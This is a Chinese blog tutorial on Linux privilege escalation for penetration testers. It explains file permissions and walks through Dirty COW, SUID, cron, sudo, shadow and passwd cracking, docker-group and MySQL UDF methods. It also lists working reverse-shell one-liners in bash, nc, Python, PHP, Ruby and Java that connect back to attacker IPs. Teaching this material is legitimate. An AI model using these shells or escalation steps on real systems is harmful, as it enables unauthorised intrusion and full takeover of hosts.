Linux提权之详细总结版(完结)
这里是我写了折磨多提权的指令的总结 我这里毫无保留分享给大家哦
首先神魔是提权
我们完整的渗透测试的流程是(个人总结的)
首先提升权限是我们拿到webshell之后的事情,如何拿到webshell,怎末才能拿到webshell,朋友们等我更新,持续更新中,下一篇更新的是windows提权
好了 废话不多说 我们直入主题
首先我们见到最多的指令
我们输入 ls -al
命令构成
ls:这是基础命令,用于列出目录内容。它可以显示当前目录或指定目录中的文件和子目录名称。
-a:这是一个选项,代表 “all”。默认情况下,ls 命令不会显示以点(.)开头的隐藏文件和目录。使用 -a 选项后,ls 会列出包括隐藏文件和目录在内的所有内容。隐藏文件和目录通常用于存储系统或应用程序的配置信息。
-l:也是一个选项,代表 “long format”。使用 -l 选项会以长格式显示文件和目录的详细信息,包括文件的权限、硬链接数、所有者、所属组、文件大小、最后修改时间以及文件名。
会得到如下显示
drwxr-xr-x 16 webper webper 4096 2月 24 15:08 .
drwxr-xr-x 9 root root 4096 2月 22 19:46 ..
-rw------- 1 webper webper 652 2月 23 12:53 .bash_history
-rw-r--r-- 1 webper webper 220 4月 5 2019 .bash_logout
-rw-r--r-- 1 webper webper 3637 4月 5 2019 .bashrc
drwx------ 19 webper webper 4096 2月 22 19:34 .cache
drwx------ 18 webper webper 4096 2月 22 19:34 .config
-rw-r--r-- 1 webper webper 25 4月 5 2019 .dmrc
-rw-r--r-- 1 webper webper 8980 4月 5 2019 examples.desktop
drwx------ 3 webper webper 4096 2月 24 15:08 .gconf
-rw------- 1 webper webper 7258 2月 24 15:08 .ICEauthority
drwx------ 3 webper webper 4096 4月 5 2019 .local
drwx------ 4 webper webper 4096 10月 10 2021 .mozilla
-rw------- 1 webper webper 336 10月 11 2021 .mysql_history
-rw-r--r-- 1 webper webper 675 4月 5 2019 .profile
drwx------ 2 webper webper 4096 4月 13 2019 .sunpinyin
-rw------- 1 webper webper 67 2月 24 15:08 .Xauthority
-rw------- 1 webper webper 744 2月 24 15:08 .xsession-errors
-rw------- 1 webper webper 744 2月 24 13:30 .xsession-errors.old
drwxr-xr-x 2 webper webper 4096 4月 5 2019 公共的
drwxr-xr-x 2 webper webper 4096 4月 5 2019 模板
drwxr-xr-x 2 webper webper 4096 4月 5 2019 视频
drwxr-xr-x 2 webper webper 4096 4月 5 2019 图片
drwxr-xr-x 2 webper webper 4096 4月 5 2019 文档
drwxr-xr-x 2 webper webper 4096 4月 5 2019 下载
drwxr-xr-x 2 webper webper 4096 4月 5 2019 音乐
drwxr-xr-x 2 webper webper 4096 4月 5 2019 桌面
这每一行是啥意思 我们从左往右看
-rw------- 1 webper webper 652 2月 23 12:53 .bash_history
-rw-------
1.这串字符共 10 位,每一位都有特定的含义,整体上可以分为以下几个部分:
第 1 位:文件类型标识
-
:表示这是一个普通文件。除了普通文件,还有其他类型的文件标识,例如:
-
d
:代表目录(directory)。l
:表示符号链接(symbolic link)。c
:字符设备文件,通常用于与字符设备(如终端)进行交互。b
:块设备文件,一般用于与块设备(如硬盘)进行交互。
第 2 - 4 位:文件所有者的权限
r
:代表读权限(read),表示文件所有者可以读取该文件的内容。如果是目录,意味着可以列出目录中的内容。w
:代表写权限(write),表示文件所有者可以修改该文件的内容。对于目录来说,意味着可以在目录中创建、删除或重命名文件和子目录。-
:表示没有执行权限(execute)。对于普通文件而言,没有执行权限意味着不能将其作为可执行程序运行;对于目录来说,没有执行权限则无法进入该目录。
第 5 - 7 位:文件所属组的权限
r
:表示文件所属组的用户可以读取该文件的内容。-
:表示文件所属组的用户没有写权限,不能修改该文件的内容。-
:表示文件所属组的用户没有执行权限,不能将该文件作为可执行程序运行。
第 8 - 10 位:其他用户的权限
r
:表示除了文件所有者和所属组用户之外的其他用户可以读取该文件的内容。-
:表示其他用户没有写权限,不能修改该文件的内容。-
:表示其他用户没有执行权限,不能将该文件作为可执行程序运行。
当然我们也可以用数字来代替
权限位对应的数值
- 读权限(r):对应数值 4
- 写权限(w):对应数值 2
- 执行权限(x):对应数值 1
- 无权限(-):对应数值 0
-rw-------
的数字表示分析
- 文件所有者权限:
rw-
表示所有者有读和写权限,没有执行权限。读权限(4)加上写权限(2),即 4 + 2 = 6。 - 文件所属组权限:
---
表示所属组没有读、写和执行权限,即 0 + 0 + 0 = 0。 - 其他用户权限:
---
同样表示其他用户没有读、写和执行权限,也是 0 + 0 + 0 = 0。
数字表示结果
将上述三部分的数值组合起来,-rw-------
用数字表示就是 600
。你可以使用 chmod
命令结合这个数字来设置文件权限,例如:
收起
bash
chmod 600 your_file
这个命令会将 your_file
的权限设置为 -rw-------
,即只有文件所有者有读和写权限,所属组和其他用户没有任何权限。
2. 1
:硬链接数
硬链接是文件系统中指向同一个文件数据的多个文件名。这里的 1
表示该文件只有一个硬链接,即当前显示的这个文件名是指向该文件数据的唯一引用。
3. webper
:文件所有者
这表明该文件的所有者是名为 webper
的用户。
4. webper
:文件所属组
说明该文件属于名为 webper
的用户组。
5. 652
:文件大小
表示该文件占用的磁盘空间大小为 652 字节。
6. 2月 23 12:53
:文件最后修改时间
说明该文件最后一次被修改的时间是 2 月 23 日 12 点 53 分。
7. .bash_history
:文件名
这是文件的名称,以 .
开头表示这是一个隐藏文件。.bash_history
文件通常用于记录用户在 bash 终端中执行过的命令历史。
接下来就是反弹shell指令(这个就是需要在我们攻击机上输入的 默认是kail机)
nc -lvnp 8888
如果需要使用bash 反弹 那莫开启监听以前 我们先要输入bash 然后再输入nc -lvnp 8888
nc -lvnp 8888
是一个使用 nc
(Netcat)工具来监听指定端口(这里是 8888 端口)的命令。Netcat 是一款功能强大的网络工具,常被用于网络调试、端口扫描、数据传输等操作。下面详细解释该命令中各个参数的含义以及命令的作用。
命令参数详解
n
:表示不进行 DNS 反向解析。通常情况下,当有连接进来时,Netcat 会尝试通过 DNS 把对方的 IP 地址解析为对应的域名,使用-n
参数可以跳过这个解析过程,从而加快连接建立的速度,同时避免因 DNS 解析失败或延迟带来的问题。l
:代表监听模式(listen mode)。正常情况下,nc
默认是用于发起连接的,但加上-l
参数后,nc
会转变为监听状态,等待其他设备主动连接到指定的端口。v
:表示详细模式(verbose mode)。启用该参数后,Netcat 在运行过程中会输出更详细的信息,比如连接的建立、断开,以及传输数据的状态等,方便用户了解操作的具体情况和排查可能出现的问题。p
:用于指定监听的端口号。后面需要紧跟具体的端口数字,在这个命令里就是8888
,意味着nc
会监听本地的 8888 端口,等待外部的连接请求。
命令作用
当你在终端中执行 nc -lvnp 8888
命令后,nc
会在本地主机上开启一个监听服务,监听 8888 端口。一旦有其他设备尝试连接到本地的 8888 端口,nc
会接受这个连接,并显示详细的连接信息。之后,双方就可以通过这个连接进行数据的传输,比如发送文本消息、文件等。
示例
在本地主机上打开一个终端,输入以下命令开始监听 8888 端口:
bash
nc -lvnp 8888
在另一个设备或者同一个设备的另一个终端窗口中,可以使用以下命令连接到该监听端口:
bash
nc <本地主机 IP 地址> 8888
这里 <本地主机 IP 地址>
需要替换为实际监听设备的 IP 地址。连接成功后,双方就可以互相发送消息进行通信了。
注意事项
- 监听端口需要相应的权限,如果你尝试监听低于 1024 的端口,可能需要使用
sudo
来提升权限。 - 确保防火墙允许相应端口的通信,否则外部设备可能无法连接到监听端口。你可以通过配置防火墙规则来开放指定端口。
接下来我们开始在目标主机上输入的(这里默认是Linux主机,因为我教的是Linux提权)
1. bash反弹(最常用的)
bash -i >& /dev/tcp/ip_address/port 0>&1
bash -c "bash -i >& /dev/tcp/192.168.0.189/6666 0>&1"
2. nc反弹(最常用的)
nc -e /bin/sh 192.168.2.130 4444
但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
3. python
import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( "192.168.2.130" , 4444 ))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call([ "/bin/bash" , "-i" ])
4. php反弹shell
php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
5. ruby反弹shell
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)'
6. Java反弹shell
r = Runtime.getRuntime()
p=r.exec(["/bin/bash","-c","exec5<>/dev/tcp/10.0.0.1/2002;cat<&5|whileread line; do \$line 2>&5 >&5; done"] asString[])
p.waitFor()
7. xterm反弹shell
xterm -display 10.0.0.1:1
我们在获取(一般都是 www-data)反弹shell之后,终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行
python -c 'import pty;pty.spawn("/bin/bash")'
python2 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
然后顺带着解决乱码
我么们输入ctrl +z
紧接着 stty -echo raw
然后输入 fg
就可以实现完整的shell
一. 内核溢出 (脏牛提权)
该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限
使用本地自带的kail搜索exp
searchsploit -t Ubuntu 14.04
searchsploit -s Ubuntu 14.04
searchsploit -s Linux Kernel3.13.0
想查看exp
searchsploit -x linux/local/37088.c
然后复制到本目录
searchsploit -m linux/local/37088.c
然后使用exp
通常使用wget等办法将exp传到受害主机上,并按照exp使用方法进行提权(借助搜素引擎查阅使用方法),通常来说:
- 如果是sh脚本文件,赋予权限执行即可
- 如果是c文件,通常是需要gcc编译,再给编译后的文件赋予权限,最后执行
二. suid提权
SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么该执行程序运行的时候将拥有ROOT权限。
SUID设置方法
1、chmod u+s FILE...
2、chmod u-s FILE…
以下命令可以发现系统上运行的所有SUID可执行文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型 f表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
搜索文件进行提取
GTFOBins
找到对应的指令
输入进行提权
常见suid提权文件
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
三.计划任务提权
当获取一个linux普通用户的时,查看计划任务
cat /etc/crontab
查看日志文件
tail -f /var/log/syslog
找到以root身份运行的 我们进行修改为反弹shell
来获取root权限
四.sudo提权
sudo 是一种权限管理机制,管理员可以授权于一些普通用户去执行一些 root 执行的操作,而不需要知道 root 的密码。
首先通过信息收集,查看是否存在sudo配置不当的可能。如果存在,寻找低权限sudo用户的密码,进而提权。
sudo-l
列出目前用户可执行与无法执行的指令。
可以看到可以使用root特权下的cat命令,所以可以读取任何文件(如果cat命令 是以sudo root命令执行的)
五.破解root明文登录提权(john破解shadow root密文登录提权)
大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。
这里的前提是我们已经对shadow文件 具有可读权限 或者通过其他方式已经获得root权限
我们就可以爆破明文了
我们复制root密码的hash值,存入一个新建的文件(userpassw)里
john会自动检测密文类型 --wordlist 字段文件
john --wordlist="/usr/share/wordlists/rockyou.txt" userpassw
然后等待破解成功
六.passwd提权
原理是 我们普通用户对 /etc/passwd 具有写入权限 导致我们写入
我们就可以新建伪造的"root"用户 还要莫就是 /etc/passwd里边不小心存储了root密码的hash值
我们就可以进行john破解密码进行登录
七.shadow提权
就是我们普通用户可以访问 /etc/shadow文件 拿到root密码的hash 然后进行暴力破解
八.docker提权
关于docker提权(逃逸提权):
默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限;
用户在创建一个docker容器后,容器内默认是root账户,在不需要加sudo的情况下可以任意更改容器内的配置。
正常情况下,这种模式既可以保证一台机器被很多普通用户使用,通过docker容器的隔离,相互之前互不影响;也给用户在容器内开放了充足的权限保证用户可以正常安装软件,修改容器配置等操作。
普通用户如果要想使用 docker,而且不想给 sudo 权限,那么一般会选择把该用户加入 docker 用户组内,同时在 docker 容器内是具有 root 权限的,这样保证了用户对容器的完全控制;
输入命令下载使用容器把容器的目录挂载到宿主的根目录
九.第三方组件提权(linux mysql udf提权)
如果在linux中 存在mysql ,可以试用mysql提权 但是几率不会太大
udf提权通过在mysql中添加自定义函数来执行系统命令。效果是从 mysql权限 —> 系统权限
最后有三个提权脚本应用
LinEnum(啥都输出)
linuxprivchecker(啥都输出)
linux-exploit-suggester2(针对内核)
还有我们etc/passwd 文件 里的含义
文件格式
/etc/passwd
文件中的每一行代表一个用户账户信息,不同字段之间使用冒号(:
)分隔,每行通常包含 7 个字段,格式如下:
收起
plaintext
username:password:UID:GID:GECOS:home_directory:shell
各字段详细解释
1. username
(用户名)
- 这是用户登录系统时使用的名称,通常是唯一的,用于标识不同的用户。它由字母、数字、下划线等字符组成,是用户与系统进行交互的身份标识。例如,常见的系统用户
root
就是一个用户名。
2. password
(密码)
- 在现代系统中,该字段通常显示为
x
,表示密码已经被加密并存储在/etc/shadow
文件中。/etc/shadow
文件具有更高的安全性,只有root
用户可以访问。在早期的系统中,该字段会直接存储加密后的密码。
3. UID
(用户标识符)
- 这是一个唯一的整数,用于在系统内部标识用户。每个用户在系统中都有一个唯一的 UID,普通用户的 UID 通常从 1000 开始递增,而
root
用户的 UID 固定为 0。系统在进行权限管理和资源分配时,会根据 UID 来识别用户。
4. GID
(组标识符)
- 它表示用户所属的主要用户组的标识符。与 UID 类似,GID 也是一个唯一的整数,用于在系统中标识用户组。用户所属的主要组信息存储在
/etc/group
文件中。当用户创建文件或目录时,默认情况下这些文件或目录的所属组就是该用户的主要组。
5. GECOS
(用户信息)
- 该字段通常包含用户的一些额外信息,如用户的全名、办公室位置、联系电话等。这些信息不是必需的,有些系统可能会将其留空或只填写部分信息。不同字段之间使用逗号(
,
)分隔。
6. home_directory
(用户主目录)
- 这是用户登录系统后默认进入的目录。每个用户都有自己的主目录,用于存储个人文件和配置信息。例如,普通用户的主目录通常位于
/home
目录下,如/home/username
;而root
用户的主目录是/root
。
7. shell
(用户登录 shell)
- 它指定了用户登录系统后默认使用的命令行解释器。常见的 shell 有
bash
、sh
、zsh
等。如果该字段为空或设置为/sbin/nologin
,则表示该用户不能登录系统,通常用于系统服务账户。
示例
以下是 /etc/passwd
文件中的一行示例:
收起
plaintext
john:x:1001:1001:John Doe,Room 101,555-1234:/home/john:/bin/bash
这行记录表示:
- 用户名是
john
。 - 密码存储在
/etc/shadow
文件中。 - UID 是 1001。
- GID 是 1001。
- 用户的全名是 John Doe,办公室位于 Room 101,联系电话是 555 - 1234。
- 主目录是
/home/john
。 - 默认使用的 shell 是
/bin/bash
。
相关文章:

Linux提权之详细总结版(完结)
这里是我写了折磨多提权的指令的总结 我这里毫无保留分享给大家哦 首先神魔是提权 我们完整的渗透测试的流程是(个人总结的) 首先提升权限是我们拿到webshell之后的事情,如何拿到webshell,怎末才能拿到webshell,朋友们等我更新,持续更新中,下一篇更新的是windows提权 好了 废…...

week 3 - More on Collections - Lecture 3
一、Motivation 1. Java支持哪种类型的一维数据结构? Java中用于在单一维度中存储数据的数据结构,如arrays or ArrayLists. 2. 如何在Java下创建一维数据结构?(1-dimensional data structure) 定义和初始化这些一…...
Pwntools 的详细介绍、安装指南、配置说明
Pwntools:Python 开源安全工具箱 一、Pwntools 简介 Pwntools 是一个由 Security researcher 开发的 高效 Python 工具库,专为密码学研究、漏洞利用、协议分析和逆向工程设计。它集成了数百个底层工具的功能,提供统一的 Python API 接口&am…...

PLC(电力载波通信)网络机制介绍
1. 概述 1.1 什么是PLC 电力载波通讯即PLC,是英文Power line Carrier的简称。 电力载波是电力系统特有的通信方式,电力载波通讯是指利用现有电力线,通过载波方式将模拟或数字信号进行高速传输的技术。最大特点是不需要重新架设网络…...

Qt监控系统远程回放/录像文件远程下载/录像文件打上水印/批量多线程极速下载
一、前言说明 在做这个功能的时候,着实费了点心思,好在之前做ffmpeg加密解密的时候,已经打通了极速加密保存文件,主要就是之前的类中新增了进度提示信号,比如当前已经处理到哪个position位置,发个信号出来…...
自学微信小程序的第八天
DAY8 1、使用动画API即可完成动画效果的制作,先通过wx.createAnimation()方法获取Animation实例,然后调用Animation实例的方法实现动画效果。 表40:wx.createAnimation()方法的常用选项 选项 类型 说明 duration number 动画持续时间,单位为毫秒,默认值为400毫秒 timing…...

【java】@Transactional导致@DS注解切换数据源失效
最近业务中出现了多商户多租户的逻辑,所以需要分库,项目框架使用了mybatisplus所以我们自然而然的选择了同是baomidou开发的dynamic.datasource来实现多数据源的切换。在使用初期程序运行都很好,但之后发现在调用com.baomidou.mybatisplus.ex…...
003 SpringBoot集成Kafka操作
4.SpringBoot集成Kafka 文章目录 4.SpringBoot集成Kafka1.入门示例2.yml完整配置3.关键配置注释说明1. 生产者优化参数2. 消费者可靠性配置3. 监听器高级特性4. 安全认证配置 4.配置验证方法5.不同场景配置模板场景1:高吞吐日志收集场景2:金融级事务消息…...

Android SystemUI开发(一)
frameworks/base/packages/SystemUI/src/com/android/systemui/SystemUI.java frameworks/base/packages/SystemUI/src/com/android/systemui/SystemUIService.java 关键文件 SystemUI 关键服务 简介 Dependency.class:处理系统依赖关系,提供资源或服…...

C#贪心算法
贪心算法:生活与代码中的 “最优选择大师” 在生活里,我们常常面临各种选择,都希望能做出最有利的决策。比如在超市大促销时,面对琳琅满目的商品,你总想用有限的预算买到价值最高的东西。贪心算法,就像是一…...

Vue程序下载
Vue是一个基于JavaScript(JS)实现的框架,想要使用它,就得先拿到Vue的js文件 Vue官网 Vue2:Vue.js Vue3:Vue.js - 渐进式 JavaScript 框架 | Vue.js 下载并安装vue.js 第一步:打开Vue2官网&a…...

【UCB CS 61B SP24】Lecture 17 - Data Structures 3: B-Trees学习笔记
本文以 2-3-4 树详细讲解了 B 树的概念,逐步分析其操作,并用 Java 实现了标准的 B 树。 1. 2-3 & 2-3-4 Trees 上一节课中讲到的二叉搜索树当数据是随机顺序插入的时候能够使得树变得比较茂密,如下图右侧所示,时间复杂度也就…...

机器学习决策树
一、香农公式 熵: 信息增益: 信息增益信息熵-条件熵 前者是初始信息熵大小,后者是因为条件加入后带来的确定性增加 信息增益表示得知特征X的信息而使得类Y的信息的不确定性减少的程度 信息增益越大说明影响越大 二、代码 ""&…...
Spring Boot + MyBatis 实现 RESTful API 的完整流程
后端开发:Spring Boot 快速开发实战 引言 在现代后端开发中,Spring Boot 因其轻量级、快速开发的特性而备受开发者青睐。本文将带你从零开始,使用 Spring Boot MyBatis 实现一个完整的 RESTful API,并深入探讨如何优雅地处理异…...
通过 ANSYS Discovery 进行 CFD 分析,增强工程设计
概括 工程师使用计算流体动力学 (CFD) 分析来研究和优化各种应用中的流体流动和传热分析。ANSYS Discovery 是一个用户友好的软件平台,使工程师能够轻松设置和解决 CFD 模型,并能够通知设计修改 在这篇博文中,我们将重点介绍在 Ansys Disc…...

家用可燃气体探测器——家庭燃气安全的坚实防线
随着社会的发展和变迁,天然气为我们的生活带来了诸多便利,无论是烹饪美食,还是温暖取暖,都离不开它的支持。然而,燃气安全隐患如影随形,一旦发生泄漏,可能引发爆炸、火灾等严重事故,…...

ListControl双击实现可编辑
为Edit Control控件添加丢失输入焦点事件,可见设为false 为List Control控件添加双击事件 控件和成员变量之间交换数据 CListCtrl ListPrint1; //列表输出 CEdit...

ave-form.vue 组件中 如何将产品名称发送给后端 ?
如何将产品名称发送给后端。 在这段代码中,产品名称(productName)的处理和发送主要发生在 save() 方法中。让我逐步分析: 产品ID的选择: <w-form-selectv-model"form.productId"label"涉及产品&q…...

DeepSeek行业应用实践报告-智灵动力【112页PPT全】
DeepSeek(深度搜索)近期引发广泛关注并成为众多企业/开发者争相接入的现象,主要源于其在技术突破、市场需求适配性及生态建设等方面的综合优势。以下是关键原因分析: 一、技术核心优势 开源与低成本 DeepSeek基于开源架构…...

【Markdown 语法简洁讲解】
Markdown 语法简洁语法讲解 什么是 Markdown1. 标题2. 列表3.文本样式4. 链接与图片5. 代码6. 表格7. 分割线8. 流程图9. 数学公式10. 快捷键11. 字体、字号与颜色 什么是 Markdown Markdown 是一种轻量级标记语言,通过简单的符号实现排版格式化,专注于…...

Flask RESTful 示例
目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题: 下面创建一个简单的Flask RESTful API示例。首先,我们需要创建环境,安装必要的依赖,然后…...

【kafka】Golang实现分布式Masscan任务调度系统
要求: 输出两个程序,一个命令行程序(命令行参数用flag)和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽,然后将消息推送到kafka里面。 服务端程序: 从kafka消费者接收…...

定时器任务——若依源码分析
分析util包下面的工具类schedule utils: ScheduleUtils 是若依中用于与 Quartz 框架交互的工具类,封装了定时任务的 创建、更新、暂停、删除等核心逻辑。 createScheduleJob createScheduleJob 用于将任务注册到 Quartz,先构建任务的 JobD…...

04-初识css
一、css样式引入 1.1.内部样式 <div style"width: 100px;"></div>1.2.外部样式 1.2.1.外部样式1 <style>.aa {width: 100px;} </style> <div class"aa"></div>1.2.2.外部样式2 <!-- rel内表面引入的是style样…...
根据万维钢·精英日课6的内容,使用AI(2025)可以参考以下方法:
根据万维钢精英日课6的内容,使用AI(2025)可以参考以下方法: 四个洞见 模型已经比人聪明:以ChatGPT o3为代表的AI非常强大,能运用高级理论解释道理、引用最新学术论文,生成对顶尖科学家都有用的…...

如何在网页里填写 PDF 表格?
有时候,你可能希望用户能在你的网站上填写 PDF 表单。然而,这件事并不简单,因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件,但原生并不支持编辑或填写它们。更糟的是,如果你想收集表单数据ÿ…...

九天毕昇深度学习平台 | 如何安装库?
pip install 库名 -i https://pypi.tuna.tsinghua.edu.cn/simple --user 举个例子: 报错 ModuleNotFoundError: No module named torch 那么我需要安装 torch pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple --user pip install 库名&#x…...
管理学院权限管理系统开发总结
文章目录 🎓 管理学院权限管理系统开发总结 - 现代化Web应用实践之路📝 项目概述🏗️ 技术架构设计后端技术栈前端技术栈 💡 核心功能特性1. 用户管理模块2. 权限管理系统3. 统计报表功能4. 用户体验优化 🗄️ 数据库设…...
【Nginx】使用 Nginx+Lua 实现基于 IP 的访问频率限制
使用 NginxLua 实现基于 IP 的访问频率限制 在高并发场景下,限制某个 IP 的访问频率是非常重要的,可以有效防止恶意攻击或错误配置导致的服务宕机。以下是一个详细的实现方案,使用 Nginx 和 Lua 脚本结合 Redis 来实现基于 IP 的访问频率限制…...

通过MicroSip配置自己的freeswitch服务器进行调试记录
之前用docker安装的freeswitch的,启动是正常的, 但用下面的Microsip连接不上 主要原因有可能一下几个 1、通过下面命令可以看 [rootlocalhost default]# docker exec -it freeswitch fs_cli -x "sofia status profile internal"Name …...